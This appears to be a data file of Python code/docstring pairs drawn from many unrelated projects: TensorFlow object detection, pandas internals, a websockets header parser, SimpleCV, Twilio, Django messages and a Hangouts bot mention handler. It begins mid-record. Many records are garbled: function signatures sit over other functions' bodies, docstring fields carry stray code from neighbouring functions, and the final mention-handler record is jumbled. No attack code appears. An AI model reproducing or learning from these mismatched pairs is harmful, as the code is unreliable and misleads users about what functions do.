class.super().setup()cls.transaction_behaviour = cast(TransactionBehaviour, cls._skill.skill_context.behaviours.transaction)cls.strategy = cast(Strategy, cls._skill.skill_context.strategy)cls.logger = cls._skill.skill_context.loggercls.ml_dialogues = cast(MlTradeDialogues, cls._skill.skill_context.ml_trade_dialogues)cls.ledger_api_dialogues = cast(LedgerApiDialogues, cls._skill.skill_context.ledger_api_dialogues)cls.batch_size = 32cls.price_per_data_batch = 10cls.seller_tx_fee = 0cls.buyer_tx_fee = 0cls.currency_id = \"FET\"cls.ledger_id = \"FET\"cls.service_id = \"data_service\"cls.terms = Description({\"batch_size\": cls.batch_size,\"price\": cls.price_per_data_batch,\"seller_tx_fee\": cls.seller_tx_fee,\"buyer_tx_fee\": cls.buyer_tx_fee,\"currency_id\": cls.currency_id,\"ledger_id\": cls.ledger_id,\"address\": cls._skill.skill_context.agent_address,\"service_id\": cls.service_id,\"nonce\": uuid.uuid4().hex,})cls.list_of_messages = (DialogueMessage(MlTradeMessage.Performative.CFP, {\"query\": \"some_query\"}),DialogueMessage(MlTradeMessage.Performative.TERMS, {\"terms\": cls.terms}),DialogueMessage(MlTradeMessage.Performative.ACCEPT,{\"terms\": cls.terms, \"tx_digest\": \"some_tx_digest\"},),)@staticmethoddef _check_start_processing_effects(self_, ml_dialogue, mock_logger) -> None:Perform checks related to running _start_processing."} {"code": "def create_group(self, name):\n\n @abc.abstractmethod", "nl": "Create a new group.:param name: The name of the group."} {"code": "def parse_extension_list(string, pos=0):\n\n while peek_ahead(string, pos) == ',':\n pos = parse_OWS(string, pos + 1)\n\n extensions = []\n while True:\n extension, pos = parse_extension(string, pos)\n extensions.append(extension)\n\n if pos == len(string):\n break\n\n if peek_ahead(string, pos) == ',':\n pos = parse_OWS(string, pos + 1)\n else:\n raise InvalidHeader(\"Expected comma\", string=string, pos=pos)\n\n while peek_ahead(string, pos) == ',':\n pos = parse_OWS(string, pos + 1)\n\n if pos == len(string):\n break\n\n assert pos == len(string)\n\n return extensions\n\n", "nl": "Parse a ``Sec-WebSocket-Extensions`` header.The string is assumed not to start or end with whitespace.Return a value with the following format::[('extension name',[('parameter name', 'parameter value'),....]),...]Parameter values are ``None`` when no value is provided.Raise :exc:`~websockets.exceptions.InvalidHeader` on invalid inputs."} {"code": "def caffe_like_padding(input_tensor, padding):\n", "nl": "A padding method that has same behavior as Caffe's.def PAD(x): return [x, x]if len(input_tensor.get_shape()) == 4:padded_input = tf.pad(input_tensor,[PAD(0), PAD(padding), PAD(padding), PAD(0)], \"CONSTANT\")elif len(input_tensor.get_shape()) == 5:padded_input = tf.pad(input_tensor,[PAD(0), PAD(padding), PAD(padding), PAD(padding), PAD(0)],\"CONSTANT\")return padded_inputdef layer(op):Decorator for composable network layers."} {"code": "def __init__(self, multiplexer: Multiplexer):\n item = super().get(*args, **kwargs)\n self._history.append(item)\n return item\n", "nl": "Inin inbox.super().__init__(multiplexer)self._history = [] # type: ignoredef get(self, *args, **kwargs) -> Envelope:Get envelope."} {"code": "def join(sep, seq):\n return _to_string_or_unicode_array(\n _vec_string(sep, object_, 'join', (seq,)))\n\n\n", "nl": "Return a string which is the concatenation of the strings in thesequence `seq`.Calls `str.join` element-wise.Parameters----------sep : array_like of str or unicodeseq : array_like of str or unicodeReturns-------out : ndarrayOutput array of str or unicode, depending on input typesSee also--------str.join"} {"code": "def __iter__(self):\n if isinstance(other, Distribution):\n self.add(other)\n elif isinstance(other, Environment):\n for project in other:\n for dist in other[project]:\n self.add(dist)\n else:\n raise TypeError(\"Can't add %r to environment\" % (other,))\n return self\n", "nl": "Yield the unique project names of the available distributionsfor key in self._distmap.keys():if self[key]:yield keydef __iadd__(self, other):In-place addition of a distribution or environment"} {"code": "def test_build_random_crop_pad_image(self):\n preprocessor_proto = preprocessor_pb2.PreprocessingStep()\n text_format.Merge(preprocessor_text_proto, preprocessor_proto)\n function, args = preprocessor_builder.build(preprocessor_proto)\n self.assertEqual(function, preprocessor.random_crop_pad_image)\n self.assertEqual(args, {\n 'min_object_covered': 0.75,\n 'aspect_ratio_range': (0.75, 1.5),\n 'area_range': (0.25, 0.875),\n 'overlap_thresh': 0.5,\n 'clip_boxes': False,\n 'random_coef': 0.125,\n })\n", "nl": "preprocessor_text_proto = random_crop_pad_image {min_object_covered: 0.75min_aspect_ratio: 0.75max_aspect_ratio: 1.5min_area: 0.25max_area: 0.875overlap_thresh: 0.5clip_boxes: Falserandom_coef: 0.125}"} {"code": "def parse_abs_angle_new(X_abs):\n N = X_abs.shape[0]\n X_abs = X_abs[:, :9]\n n1 = np.zeros((N, 2))\n pred_class = np.argmax(X_abs[:, :8], axis=1)\n angle_recon = class2angle(pred_class, X_abs[:, 8], num_class=8)\n n1[:, 0] = np.cos(angle_recon)\n n1[:, 1] = np.sin(angle_recon)\n return n1\n\n\n", "nl": " All array. faster@Args:X_abs: (N, dim=16), only use X_abs[:, :9]. ATTENTION: each line should be valid@Returns:n1: (N, 2)"} {"code": "def matchSIFTKeyPoints(self, template, quality=200):\n try:\n import cv2\n except ImportError:\n warnings.warn(\"OpenCV >= 2.4.3 required\")\n return None\n if not hasattr(cv2, \"FeatureDetector_create\"):\n warnings.warn(\"OpenCV >= 2.4.3 required\")\n return None\n if template == None:\n return None\n detector = cv2.FeatureDetector_create(\"SIFT\")\n descriptor = cv2.DescriptorExtractor_create(\"SIFT\")\n img = self.getNumpyCv2()\n template_img = template.getNumpyCv2()\n\n skp = detector.detect(img)\n skp, sd = descriptor.compute(img, skp)\n\n tkp = detector.detect(template_img)\n tkp, td = descriptor.compute(template_img, tkp)\n\n idx, dist = self._getFLANNMatches(sd, td)\n dist = dist[:,0]/2500.0\n dist = dist.reshape(-1,).tolist()\n idx = idx.reshape(-1).tolist()\n indices = range(len(dist))\n indices.sort(key=lambda i: dist[i])\n dist = [dist[i] for i in indices]\n idx = [idx[i] for i in indices]\n sfs = []\n for i, dis in itertools.izip(idx, dist):\n if dis < quality:\n sfs.append(KeyPoint(template, skp[i], sd, \"SIFT\"))\n else:\n break\n\n idx, dist = self._getFLANNMatches(td, sd)\n dist = dist[:,0]/2500.0\n dist = dist.reshape(-1,).tolist()\n idx = idx.reshape(-1).tolist()\n indices = range(len(dist))\n indices.sort(key=lambda i: dist[i])\n dist = [dist[i] for i in indices]\n idx = [idx[i] for i in indices]\n tfs = []\n for i, dis in itertools.izip(idx, dist):\n if dis < quality:\n tfs.append(KeyPoint(template, tkp[i], td, \"SIFT\"))\n else:\n break\n\n return sfs, tfs\n", "nl": "**SUMMARY**matchSIFTKeypoint allows you to match a template image with another image usingSIFT keypoints. The method extracts keypoints from each image, uses the Fast LocalApproximate Nearest Neighbors algorithm to find correspondences between the featurepoints, filters the correspondences based on quality.This method should be able to handle a reasonable changes in camera orientation andillumination. Using a template that is close to the target image will yield muchbetter results.**PARAMETERS*** *template* - A template image.* *quality* - The feature quality metric. This can be any value between about 100 and 500. Lowervalues should return fewer, but higher quality features.**RETURNS**A Tuple of lists consisting of matched KeyPoints found on the image and matchedkeypoints found on the template. keypoints are sorted according to lowest distance.**EXAMPLE**>>> template = Image(\"template.png\")>>> img = camera.getImage()>>> fs = img.macthSIFTKeyPoints(template)**SEE ALSO**:py:meth:`_getRawKeypoints`:py:meth:`_getFLANNMatches`:py:meth:`drawKeypointMatches`:py:meth:`findKeypoints`"} {"code": "def is_connectable(self):\n if self.max_connections == 0:\n return True\n return len(self.connections) < self.max_connections\n", "nl": "Returns true if the connection can take a connection.0 - unlimited connections:returns: connection can accept a connection.:rtype: bool"} {"code": "def __upArrowKeyPressed(self):\n if self.TugOfWarControls:\n self.__pressHandler(1)\n", "nl": "Handle up arrow being pressed down.if self.TugOfWarControls:self.__pressHandler(0)def __downArrowKeyPressed(self):Handle down arrow being pressed down."} {"code": "def partial(self, message_num, message_part, start, length):\n name = 'PARTIAL'\n typ, dat = self._simple_command(name, message_num, message_part, start, length)\n return self._untagged_response(typ, dat, 'FETCH')\n\n", "nl": "Fetch truncated part of a message.(typ, [data, ...]) = .partial(message_num, message_part, start, length)'data' is tuple of message part envelope and data."} {"code": "def base() -> dict:\n ret = {\n 'models': {\n 'MultimodalTextModel': {\n 'backend': 'gluonnlp_v0',\n 'search_space': {\n 'model.backbone.name': 'google_electra_base',\n 'optimization.batch_size': 128,\n 'optimization.per_device_batch_size': 4,\n 'optimization.num_train_epochs': 10,\n 'optimization.lr': space.Categorical(1E-4),\n 'optimization.wd': 1E-4,\n 'optimization.layerwise_lr_decay': 0.8\n }\n },\n },\n 'tune_kwargs': {\n 'search_strategy': 'local',\n 'searcher': 'local_random',\n 'search_options': None,\n 'scheduler_options': None,\n 'num_trials': 1,\n },\n }\n return ret\n\n", "nl": "The default hyperparameters.It will have a version key and a list of candidate models.Each model has its own search space inside."} {"code": "def _reshape_keypoints(self, keys_to_tensors):\n y = keys_to_tensors['image/object/keypoint/y']\n if isinstance(y, tf.SparseTensor):\n y = tf.sparse_tensor_to_dense(y)\n y = tf.expand_dims(y, 1)\n x = keys_to_tensors['image/object/keypoint/x']\n if isinstance(x, tf.SparseTensor):\n x = tf.sparse_tensor_to_dense(x)\n x = tf.expand_dims(x, 1)\n keypoints = tf.concat([y, x], 1)\n keypoints = tf.reshape(keypoints, [-1, self._num_keypoints, 2])\n return keypoints\n", "nl": "Reshape keypoints.The keypoints are reshaped to [num_instances, num_keypoints, 2].Args:keys_to_tensors: a dictionary from keys to tensors. Expected keys are:'image/object/keypoint/x''image/object/keypoint/y'Returns:A 3-D float tensor of shape [num_instances, num_keypoints, 2] with valuesin [0, 1]."} {"code": "def strip(self, chars=None):\n return asarray(strip(self, chars))\n", "nl": "For each element in `self`, return a copy with the leading andtrailing characters removed.See also--------char.strip"} {"code": "def regnetx_002(pretrained=False, **kwargs):\n return _create_regnet('regnetx_004', pretrained, **kwargs)\n\n\n@register_model", "nl": "RegNetX-200MFreturn _create_regnet('regnetx_002', pretrained, **kwargs)@register_modeldef regnetx_004(pretrained=False, **kwargs):RegNetX-400MF"} {"code": "def credential_lists(self, trunk_sid):\n credential_lists_uri = \"{0}/Trunks/{1}\".format(\n self.trunk_base_uri, trunk_sid)\n return CredentialLists(credential_lists_uri, self.auth, self.timeout)\n", "nl": "Return a :class:`CredentialList` instance"} {"code": "def restricted(obj, attrs, wattrs = None):\n if wattrs is None:\n wattrs = attrs\n class Restricted(object):", "nl": "Returns a 'restricted' version of an object, i.e., allowing access only to a subset of itsattributes. This is useful when returning a \"broad\" or \"dangerous\" object, where you don'twant the other party to have access to all of its attributes... versionadded:: 3.2:param obj: any object:param attrs: the set of attributes exposed for reading (``getattr``) or writing (``setattr``).The same set will serve both for reading and writing, unless wattrs is explicitlygiven.:param wattrs: the set of attributes exposed for writing (``setattr``). If ``None``,``wattrs`` will default to ``attrs``. To disable setting attributes completely,set to an empty tuple ``()``.:returns: a restricted view of the objectExample::class MyService(rpyc.Service):def exposed_open(self, filename):f = open(filename, \"r\")return rpyc.restricted(f, {\"read\", \"close\"}) # disallow access to `seek` or `write`"} {"code": "def first_derivative_kurtosis(self):\n delta = self.get_first_derivative()\n return kurtosis(delta, -1)\n", "nl": "Compute the kurtosis of the first empirical derivative (delta coefficient)on the last dimension (time).Returns:np.array, [n_feats, ]: The kurtosis of the first delta coefficientof each individual dimension in self.component"} {"code": "def set_simulation_state(self, state: AtariState):\n self._cum_reward = state.reward\n self._state = state\n if self.clone_seeds:\n self.env.unwrapped.ale.restoreSystemState(state.microstate.value)\n else:\n self.env.unwrapped.ale.restoreState(state.microstate.value)\n", "nl": "Sets the microstate of the environment to the microstate of the target State:param state: State that will be set on the environment.:return: None."} {"code": "def test_author_person(self):\n\n (person, created) = Person.objects.get_or_create(full_name='Test Person', slug='test-person')\n (section, created) = Section.objects.get_or_create(name='Test Section', slug='test-section')\n\n data = {\n 'headline': 'Test headline',\n 'section_id': section.id,\n 'author_ids': [{'person': 1}],\n 'content': [],\n 'slug': 'new-slug'\n }\n\n url = reverse('api-articles-list')\n\n response = self.client.post(url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n", "nl": "Should not be able to create article with an author type and missing author person(section, created) = Section.objects.get_or_create(name='Test Section', slug='test-section')url = reverse('api-articles-list')data = {'headline': 'Test headline','section_id': section.id,'author_ids': [{'type': 'author'}],'content': [],'slug': 'new-slug'}response = self.client.post(url, data, format='json')self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)def test_author_type(self):Should be able to create article with an author and missing author type"} {"code": "def mutex(self, mutex):\n\n self._mutex = mutex\n\n @property", "nl": "Sets the mutex of this V1alpha1Synchronization.:param mutex: The mutex of this V1alpha1Synchronization. # noqa: E501:type: V1alpha1Mutex"} {"code": "def rot90(keypoints, rotation_permutation=None, scope=None):\n keypoints.get_shape().assert_has_rank(3)\n with tf.name_scope(scope, 'Rot90'):\n keypoints = tf.transpose(keypoints, [1, 0, 2])\n if rotation_permutation:\n keypoints = tf.gather(keypoints, rotation_permutation)\n v, u = tf.split(value=keypoints[:, :, ::-1], num_or_size_splits=2, axis=2)\n v = 1.0 - v\n new_keypoints = tf.concat([v, u], 2)\n new_keypoints = tf.transpose(new_keypoints, [1, 0, 2])\n return new_keypoints\n\n\n\n", "nl": "Rotates the keypoints counter-clockwise by 90 degrees.Args:keypoints: a tensor of shape [num_instances, num_keypoints, 2]rotation_permutation: integer list or rank 1 int32 tensor containing thekeypoint flip permutation. This specifies the mapping from originalkeypoint indices to the rotated keypoint indices. This is used primarilyfor keypoints that are not rotation invariant.Default to None or empty list to keep the original order after rotation.scope: name scope.Returns:new_keypoints: a tensor of shape [num_instances, num_keypoints, 2]"} {"code": "def _get_lio_dev_path(store_wwn, tgt_wwn, store_name, retry=True):\n Creates a new LIO loopback device (using targetcli) on top of the\n :param:`fpath` backing file.\n\n :param str fpath: path of the backing file\n :returns: path of the newly created device (e.g. \"/dev/sdb\")\n :rtype: str\n\n \"\"\"", "nl": "Check if the lio device has been really created and is in /dev/disk/by-id# the backstore's wwn contains '-'s we need to get rid of and then take just# the fist 25 characters which participate in the device's IDwwn = store_wwn.replace(\"-\", \"\")wwn = wwn[:25]globs = glob.glob(\"/dev/disk/by-id/wwn-*%s\" % wwn)if len(globs) != 1:if retry:time.sleep(3)os.system(\"udevadm settle\")return _get_lio_dev_path(store_wwn, tgt_wwn, store_wwn, False)else:_delete_target(tgt_wwn, store_name)raise RuntimeError(\"Failed to identify the resulting device for '%s'\" % store_name)else:return os.path.realpath(globs[0])def create_lio_device(fpath):"} {"code": "def connectionLost(reason):\n\n\n\nclass IXMPPHandlerCollection(Interface):\n \"\"\"\n", "nl": "The XML stream has been closed.Subsequent use of C{parent.send} will result in data being queueduntil a new connection has been established.@type reason: L{twisted.python.failure.Failure}"} {"code": "def combine(self, blocks, copy=True):\n Make deep or shallow copy of BlockManager\n\n Parameters\n ----------", "nl": " return a new manager with the blocks if len(blocks) == 0:return self.make_empty()# FIXME: optimization potentialindexer = np.sort(np.concatenate([b.mgr_locs.as_array for b in blocks]))inv_indexer = lib.get_reverse_indexer(indexer, self.shape[0])new_blocks = []for b in blocks:b = b.copy(deep=copy)b.mgr_locs = algos.take_1d(inv_indexer, b.mgr_locs.as_array, axis=0, allow_fill=False)new_blocks.append(b)axes = list(self.axes)axes[0] = self.items.take(indexer)return type(self)(new_blocks, axes, do_integrity_check=False)def get_slice(self, slobj: slice, axis: int = 0):if axis >= self.ndim:raise IndexError(\"Requested axis not found in manager\")if axis == 0:new_blocks = self._slice_take_blocks_ax0(slobj)else:_slicer = [slice(None)] * (axis + 1)_slicer[axis] = slobjslicer = tuple(_slicer)new_blocks = [blk.getitem_block(slicer) for blk in self.blocks]new_axes = list(self.axes)new_axes[axis] = new_axes[axis][slobj]bm = type(self)(new_blocks, new_axes, do_integrity_check=False)bm._consolidate_inplace()return bmdef __contains__(self, item) -> bool:return item in self.items@propertydef nblocks(self) -> int:return len(self.blocks)def copy(self, deep=True):"} {"code": "def constraints_pass_logging_interval(mod_input, value):\n errors = []\n all_passed = True\n if value <= 0:\n all_passed = False\n errors.append(\"Must be a positive value\")\n\n measurements_can_be_stored = 16512\n measurements_per_period = int(mod_input.period / value)\n if measurements_per_period > measurements_can_be_stored:\n all_passed = False\n errors.append(\n \"Number of calculated measurements exceeds device memory: With a \"\n \"Logging Interval of {li} seconds and a download period of {per} \"\n \"seconds, {meas_t} measurements will be conducted, however, only \"\n \"{meas_a} measurements can be stored on the device. Either \"\n \"increase your Logging Interval or decrease the Input Period.\".format(\n li=value,\n per=mod_input.period,\n meas_t=measurements_per_period,\n meas_a=measurements_can_be_stored))\n return all_passed, errors, mod_input\n\n\nmeasurements_dict = {\n 0: {\n 'measurement': 'temperature',\n 'unit': 'C'\n },\n 1: {\n 'measurement': 'humidity',\n 'unit': 'percent'\n },\n 2: {\n 'measurement': 'battery',\n 'unit': 'percent'\n },\n 3: {\n 'measurement': 'dewpoint',\n 'unit': 'C'\n },\n 4: {", "nl": "Check if the user input is acceptable:param mod_input: SQL object with user-saved Input options:param value: float:return: tuple: (bool, list of strings)"} {"code": "def test_running_before_animation_finished(self):\n anim = animate(None, duration=2)\n clock.tick(1)\n\n clock.tick(1.1)\n\n self.assertFalse(anim.running)\n", "nl": "Ensure the running attribute is True before animation finished.anim = animate(None, duration=2)clock.tick(1)self.assertTrue(anim.running)def test_running_after_animation_finished(self):Ensure the running attribute is False after animation finished."} {"code": "def boot_once_grub2(self, entry_index):", "nl": "Implements the boot once feature for the grub2 bootloaderCaveat: this assumes the default set is of type \"saved\", and not anumeric value."} {"code": "def _match(self, similarity_matrix, num_valid_rows=-1):\n distance_matrix = -1 * similarity_matrix\n _, match_results = image_ops.bipartite_match(\n distance_matrix, num_valid_rows)\n match_results = tf.reshape(match_results, [-1])\n match_results = tf.cast(match_results, tf.int32)\n return match_results", "nl": "Bipartite matches a collection rows and columns. A greedy bi-partite.TODO: Add num_valid_columns options to match only that many columns withall the rows.Args:similarity_matrix: Float tensor of shape [N, M] with pairwise similaritywhere higher values mean more similar.num_valid_rows: A scalar or a 1-D tensor with one element describing thenumber of valid rows of similarity_matrix to consider for the bipartitematching. If set to be negative, then all rows from similarity_matrixare used.Returns:match_results: int32 tensor of shape [M] with match_results[i]=-1meaning that column i is not matched and otherwise that it is matched torow match_results[i]."} {"code": "def distinct_values_in_column(col, product):\n df = load_product(product)\n return set(df[col].unique())\n\n", "nl": "Get distinct values in a column, returns a set"} {"code": "def _check_transform_input_and_state(self, X: pd.DataFrame) -> pd.DataFrame:\n\n check_is_fitted(self)\n\n X = check_X(X)\n\n _check_X_matches_training_df(X, self.n_features_in_)\n\n X = X[self.feature_names_in_]\n\n return X\n", "nl": "Checks that the input is a dataframe and of the same size than the one usedin the fit method. Checks absence of NA.Parameters----------X: Pandas DataFrameRaises------TypeErrorIf the input is not a Pandas DataFrameValueError- If the variable(s) contain null values.- If the df has different number of features than the df used in fit()Returns-------X: Pandas DataFrameThe same dataframe entered by the user."} {"code": "def warning(request, message, extra_tags='', fail_silently=False, async=False):\n if ASYNC and async:\n messages.debug(_get_user(request), message)\n else:\n add_message(request, constants.ERROR, message, extra_tags=extra_tags,\n fail_silently=fail_silently)", "nl": "Adds a message with the ``WARNING`` level.if ASYNC and async:messages.debug(_get_user(request), message)else:add_message(request, constants.WARNING, message, extra_tags=extra_tags,fail_silently=fail_silently)def error(request, message, extra_tags='', fail_silently=False, async=False):Adds a message with the ``ERROR`` level."} {"code": "def to_dict(self):\n return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"\n", "nl": "Serializes this instance to a Python dictionary.output = copy.deepcopy(self.__dict__)return outputdef to_json_string(self):Serializes this instance to a JSON string."} {"code": "def test(self):\n", "nl": "Tests copy_remote_directory_to_local.adb.write_data_to_file('a', os.path.join(self.device_temp_dir, 'a'))adb.create_directory_if_needed(os.path.join(self.device_temp_dir, 'b'))adb.write_data_to_file('c', os.path.join(self.device_temp_dir, 'b', 'c'))adb.copy_remote_directory_to_local(self.device_temp_dir,self.local_temp_dir)self.assertTrue(os.path.exists(os.path.join(self.local_temp_dir, 'a')))self.assertTrue(os.path.isfile(os.path.join(self.local_temp_dir, 'a')))self.assertEqual(os.path.getsize(os.path.join(self.local_temp_dir, 'a')), 1)self.assertTrue(os.path.exists(os.path.join(self.local_temp_dir, 'b')))self.assertTrue(os.path.isdir(os.path.join(self.local_temp_dir, 'b')))self.assertTrue(os.path.exists(os.path.join(self.local_temp_dir, 'b', 'c')))self.assertTrue(os.path.isfile(os.path.join(self.local_temp_dir, 'b', 'c')))self.assertEqual(os.path.getsize(os.path.join(self.local_temp_dir, 'b', 'c')), 1)class ReadDataFromFileTest(android_helpers.AndroidTest):Tests read_data_from_file."} {"code": "def _parse_tables(self, doc, match, attrs):\n raise AbstractMethodError(self)\n", "nl": "Return all tables from the parsed DOM.Parameters----------doc : the DOM from which to parse the table element.match : str or regular expressionThe text to search for in the DOM tree.attrs : dictA dictionary of table attributes that can be used to disambiguatemultiple tables on a page.Raises------ValueError : `match` does not match any text in the document.Returns-------list of node-likeHTML elements to be parsed into raw data."} {"code": "def to_json_string(self):\n \"\"\"", "nl": "Serializes this instance to a JSON string.return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"class BERTLayerNorm(nn.Module):def __init__(self, config, variance_epsilon=1e-12):Construct a layernorm module in the TF style (epsilon inside the square root)."} {"code": "def _embedding(self, inputs, training=False):\n Same as TFBertMainLayer but uses TFRobertaEmbeddings.\n \"\"\"", "nl": "Applies embedding based on inputs tensor.input_ids, position_ids, token_type_ids, inputs_embeds = inputsif input_ids is not None:seq_length = tf.shape(input_ids)[1]else:seq_length = tf.shape(inputs_embeds)[1]if position_ids is None:position_ids = tf.range(self.padding_idx+1, seq_length+self.padding_idx+1, dtype=tf.int32)[tf.newaxis, :]return super(TFRobertaEmbeddings, self)._embedding([input_ids, position_ids, token_type_ids, inputs_embeds], training=training)class TFRobertaMainLayer(TFBertMainLayer):"} {"code": "def drop_sequence_sql(self, table):\n return None\n", "nl": "Returns any SQL necessary to drop the sequence for the given table.Returns None if no SQL is necessary."} {"code": "def login_to_registry(username, token=None):\n\n token = token or get_oc_api_token()\n\n with DockerBackend() as backend:\n backend.login(username, password=token,\n registry=get_internal_registry_ip(), reauth=True)\n\n", "nl": "Login within docker daemon to docker registry running in this OpenShift cluster:return:"} {"code": "def JulianDayFromDate(date,calendar='standard'):\n year=date.year; month=date.month; day=date.day\n hour=date.hour; minute=date.minute; second=date.second\n day = day + hour/24.0 + minute/1440.0 + second/86400.0\n if (month < 3):\n month = month + 12\n year = year - 1\n A = int(year/100)\n jd = int(365.25 * (year + 4716)) + int(30.6001 * (month + 1)) + \\\n day - 1524.5\n if calendar in ['standard','gregorian']:\n if jd >= 2299170.5:\n B = 2 - A + int(A/4)\n elif jd < 2299160.5:\n B = 0\n else:\n raise ValueError('impossible date (falls in gap between end of Julian calendar and beginning of Gregorian calendar')\n elif calendar == 'proleptic_gregorian':\n B = 2 - A + int(A/4)\n elif calendar == 'julian':\n B = 0\n else:\n raise ValueError('unknown calendar, must be one of julian,standard,gregorian,proleptic_gregorian, got %s' % calendar)\n jd = jd + B\n return jd\n", "nl": "creates a Julian Day from a 'datetime-like' object. Returns the fractionalJulian Day (resolution 1 second).if calendar='standard' or 'gregorian' (default), Julian day follows JulianCalendar on and before 1582-10-5, Gregorian calendar after 1582-10-15.if calendar='proleptic_gregorian', Julian Day follows gregorian calendar.if calendar='julian', Julian Day follows julian calendar.Algorithm:Meeus, Jean (1998) Astronomical Algorithms (2nd Edition). Willmann-Bell,Virginia. p. 63"} {"code": "def _parse_www_authenticate(headers, headername='www-authenticate'):\n retval = {}\n if headers.has_key(headername):\n try:\n\n authenticate = headers[headername].strip()\n www_auth = USE_WWW_AUTH_STRICT_PARSING and WWW_AUTH_STRICT or WWW_AUTH_RELAXED\n while authenticate:\n if headername == 'authentication-info':\n (auth_scheme, the_rest) = ('digest', authenticate)\n else:\n (auth_scheme, the_rest) = authenticate.split(\" \", 1)\n match = www_auth.search(the_rest)\n auth_params = {}\n while match:\n if match and len(match.groups()) == 3:\n (key, value, the_rest) = match.groups()\n auth_params[key.lower()] = UNQUOTE_PAIRS.sub(r'\\1', value)\n match = www_auth.search(the_rest)\n retval[auth_scheme.lower()] = auth_params\n authenticate = the_rest.strip()\n\n except ValueError:\n raise MalformedHeader(\"WWW-Authenticate\")\n return retval\n\n", "nl": "Returns a dictionary of dictionaries, one dictper auth_scheme."} {"code": "def as_ctypes(obj):\n ai = obj.__array_interface__\n if ai[\"strides\"]:\n raise TypeError(\"strided arrays not supported\")\n if ai[\"version\"] != 3:\n raise TypeError(\"only __array_interface__ version 3 supported\")\n addr, readonly = ai[\"data\"]\n if readonly:\n raise TypeError(\"readonly arrays unsupported\")\n\n ctype_scalar = as_ctypes_type(ai[\"typestr\"])\n result_type = _ctype_ndarray(ctype_scalar, ai[\"shape\"])\n result = result_type.from_address(addr)\n result.__keep = obj\n return result", "nl": "Create and return a ctypes object from a numpy array. Actuallyanything that exposes the __array_interface__ is accepted."} {"code": "def init_states(self, init_fn, *args: Any, **kwargs: Any) -> Any:\n p = self.params\n init_states = init_fn(self.sub, *args, **kwargs)\n", "nl": "Inits decoder states for all sub layers.sub.init_states() should be of signatureinit_fn should be of signatureinit_states = init_fn(self.sub, *args, **kwargs)Args:init_fn: A callback responsible for initializing the per-block states.*args: Positional args to pass to the sub.init_states() method.**kwargs: Keyward args to pass to the sub.init_states() method.Returns:Initial decoder states."} {"code": "def _handle_mention(bot, event, command):\n\n \"\"\"allow mentions to be disabled via global or per-conversation config\"\"\"\n minimum_length = bot.get_config_suboption(event.conv_id, 'mentionminlength')\n if not minimum_length:\n minimum_length = 2\n username = args[0].strip()\n if len(username) < minimum_length:\n logger.debug(\"@mention from {} ({}) too short (== '{}')\".format(event.user.full_name, event.user.id_.chat_id, username))\n return\n\n users_in_chat = event.conv.users\n mention_chat_ids = []\n\n \"\"\"sync room support\"\"\"\n for rooms_group in sync_room_list:\n if event.conv_id in rooms_group:\n \"\"\"current conversation is part of a syncroom group, add \"external\" users\"\"\"\n /bot mention test\n \"\"\"\n quidproquo: users can only @mention if they themselves are @mentionable (i.e. have a 1-on-1 with the bot)\n \"\"\"\n user_tracking = {\n \"mentioned\":[],\n \"ignored\":[],\n \"failed\": {\n \"pushbullet\": [],\n \"one2one\": [],\n }\n }\n\n \"\"\"\n\n conversation_name = bot.conversations.get_name(event.conv)\n logger.info(\"@mention '{}' in '{}' ({})\".format(username, conversation_name, event.conv.id_))\n username_lower = username.lower()\n username_upper = username.upper()\n\n \"\"\"is @all available globally/per-conversation/initiator?\"\"\"\n logger.debug(\"@all in {}: disabled/unset global/per-conversation\".format(event.conv.id_))\n admins_list = bot.get_config_suboption(event.conv_id, 'admins')\n if event.user_id.chat_id not in admins_list:\n\n \"\"\"initiator is not an admin, check whitelist\"\"\"\n exact_nickname_matches = []\n exact_fragment_matches = []\n mention_list = []\n for u in users_in_chat:\n\n nickname = \"\"\n nickname_lower = \"\"\n if bot.memory.exists(['user_data', u.id_.chat_id, \"nickname\"]):\n nickname = bot.memory.get_by_path(['user_data', u.id_.chat_id, \"nickname\"])\n nickname_lower = nickname.lower()\n\n _normalised_full_name_upper = remove_accents(u.full_name.upper())\n\n if (username_lower == \"all\" or\n\n username_lower in u.full_name.replace(\" \", \"\").lower() or\n username_upper in _normalised_full_name_upper.replace(\" \", \"\") or\n\n username_lower in u.full_name.replace(\" \", \"_\").lower() or\n username_upper in _normalised_full_name_upper.replace(\" \", \"_\") or\n\n username_lower == nickname_lower or\n username in u.full_name.split(\" \")):\n\n logger.info(\"user {} ({}) is present\".format(u.full_name, u.id_.chat_id))\n\n if u.is_self:\n \"\"\"bot cannot be @mentioned\"\"\"\n logger.debug(\"suppressing @all for {} ({})\".format(event.user.full_name, event.user.id_.chat_id))\n continue\n\n if u.id_.chat_id == event.user.id_.chat_id and not noisy_mention_test:\n \"\"\"prevent initiating user from mentioning themselves\"\"\"\n logger.debug(\"suppressing duplicate mention for {} ({})\".format(event.user.full_name, event.user.id_.chat_id))\n continue\n\n if bot.memory.exists([\"donotdisturb\"]):\n if _user_has_dnd(bot, u.id_.chat_id):\n logger.info(\"suppressing @mention for {} ({})\".format(u.full_name, u.id_.chat_id))\n user_tracking[\"ignored\"].append(u.full_name)\n continue\n\n if username_lower == nickname_lower:\n if u not in exact_nickname_matches:\n exact_nickname_matches.append(u)\n\n if (username in u.full_name.split(\" \") or\n username_upper in _normalised_full_name_upper.split(\" \")):\n\n if u not in exact_fragment_matches:\n exact_fragment_matches.append(u)\n\n if u not in mention_list:\n mention_list.append(u)\n\n if len(exact_nickname_matches) == 1:\n \"\"\"prioritise exact nickname matches\"\"\"\n logger.info(\"prioritising single case-sensitive fragment match for {}\".format(exact_fragment_matches[0].full_name))\n mention_list = exact_fragment_matches\n elif len(exact_fragment_matches) > 1 and len(exact_fragment_matches) < len(mention_list):\n logger.info(\"prioritising multiple case-sensitive fragment match for {}\".format(exact_fragment_matches[0].full_name))\n mention_list = exact_fragment_matches\n\n if len(mention_list) > 1 and username_lower != \"all\":\n\n send_multiple_user_message = True\n\n if bot.memory.exists(['user_data', event.user.id_.chat_id, \"mentionmultipleusermessage\"]):\n send_multiple_user_message = bot.memory.get_by_path(['user_data', event.user.id_.chat_id, \"mentionmultipleusermessage\"])\n\n if send_multiple_user_message or noisy_mention_test:\n if conv_1on1_initiator:\n text_html = _('{} users would be mentioned with \"@{}\"! Be more specific. List of matching users:
